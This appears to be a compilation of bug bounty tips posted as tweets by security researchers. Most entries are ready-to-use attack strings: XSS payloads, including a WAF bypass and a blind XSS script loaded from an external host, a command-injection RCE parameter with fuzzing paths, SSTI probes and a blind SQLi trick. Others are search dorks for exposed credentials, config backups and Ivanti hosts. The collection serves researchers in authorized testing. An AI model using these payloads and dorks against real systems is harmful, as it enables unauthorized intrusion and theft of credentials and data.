tharun

Broken link hijacking poc

[tharun @ilab_dol]

@rootxaman Yes

[Cybernetic Research @cybernetic_res]

Cool Blind #SQLi. The target has an admin login page where certain methods are allowed. I found the API endpoint for the admin login and sent the same payload. Success.

POST /admin/login ==> 405
POST /api/v01/admin/login ==> 200 OK + Blind SQLi
By:@nav1n0x

#bugbountytips

[Shahro K h @Sharo_k_h]

Discovered an XSS vulnerability but Imperva WAF blocked it?
Try this XSS payload to bypass Imperva's protection.

<details x=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:2 open ontoggle=alert(origin)>

#bugbounty #bypass_imperva #xss #hacking

[Cybernetic Research @cybernetic_res]

WordPress Sensitive File paths, add them in your worldlist

#bugbountytips #bugbounty

[Will Gates @WllGates]

Many people have often asked me how to search for "ivanti" for shodan 😊 you can search as title: "Ivanti Connect" hostname: "target.*"

credit: @ynsmroztas

#bugbountytip #bugbounty

[Ahmad Bin Ali 🇸🇦 @MrHex88]

#XSS could be be triggers in #url itself, no need to parameter injection✌🏻

Payloads:
1-
%3Csvg%20onload=alert(%22MrHex88%22)%3E

2-
%3Cimg%20src=x%20onerror=alert(%22MrHex88%22)%3E

#bugbounty #bugbountytip #bugbountytips
#MrHex88

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

story of very quick RCE

Target/cgi-bin/dmt/reset.cgi?db_prefix=%26id%26

You can to add this paths for ur wordlist

cgi-bin/dmt/reset.cgi?db_prefix=%26id%26

cgi-bin/reset.cgi?db_prefix=%26id%26

fuzzing as well

cgi-bin/FUZZ.cgi?FUZZ=%26id%26

#bugbountytips ❤️

[m0uka_Dz 🇩🇿 @m0uka_Dz]

I found lot bugs using this dorks in github
"https://t.co/nPyT6Tim2M" language:yml
"Target. com" language:yml "_key"
"Target. com" language:yml "admin"
"Target. com" language:yml "root"
"Target. com" language:yml "host"

#bugbountytip #bugbountytips #bugbounty #infosec

[Iman Gurung @ImanGurung13]

Blind xss
Payload used : --></tiTle></stYle></texTarea></scrIpt>"//'//><scrIpt src= https://t.co/Pr7wsHHz8L></scrIpt>

Tips: In some cases use bing dorking cuz google may not show what bing showed me . Especially In case of Microsoft bing dorking is fruitful.

[Hasan Sheet @hasansheet]

SSTI to RCE in a private bug bounty program at @Hacker0x01
Always use "><u>test{{7*7}} in every input , from {{7*7}} to $$$$

[Sumit Jain @sumit_cfe]

Possible Detection techniques for SQL Injection

#cybersec #infosec #appsec #sql #injection

[Sumit Jain @sumit_cfe]

Add these to your Worldlist

#bugbounty #cybersecuritytips #fuzzing #sensitivedata #creditunknown #infosec #appsec

[Sumit Jain @sumit_cfe]

Google Dorks to Find Sensitive data or dir

#google #cybersec #infosec

[Abdelrhman Amin @0xUchihamrx]

Quick tip
wp-config.php -> 403 forbidden
wp-config.php.bak -> 200 ok

The file download and contained the DB credentials, other sensitive date leaked in it
#bugbountytips #bugbountytip #bugbounty

[Mostafa🥶 @MElguerdawi]

Art of Google Dorking 🥷

site:*.target.com inurl:search= | inurl:s= | inurl:message= | inurl:q=

#bugbountytip #BugBounty #bugbountytips #bugcrowd #recon #dork

[Ractiurd @ractiurd]

Thanks @GodfatherOrwa for your amazing video on nahamcon.

This is the result when I follow your video.

https://t.co/Uuw35n7YBc

[Lu3ky13 ⚡️⚡️ @lu3ky13]

After more than three hours we were able to bypass this xss
with @Arez_1110

payload
#"></div><a href= javascript:alert(document.domain)

#bugbounty #bugbountytip #hackerone

[Anton @therceman]

Bug Bounty Cheat Sheet

File Upload Extension Splitting

Cheers!

[Anton @therceman]

Bug Bounty Tip

Don't forget to check for the /_wpeprivate/config.json endpoint on a website (usually with WordPress) for information disclosure.

Google Dork
👉 Site: *.example.com inurl:"_wpeprivate"

Cheers!

[Satya Prakash  @0xKayala]

Introducing NucleiFuzzer: A Powerful Automation Tool for Web Application Security👇
https://t.co/5T4UnzAqJL
#NucleiFuzzer #ParamSpider #Nuclei #0xKayala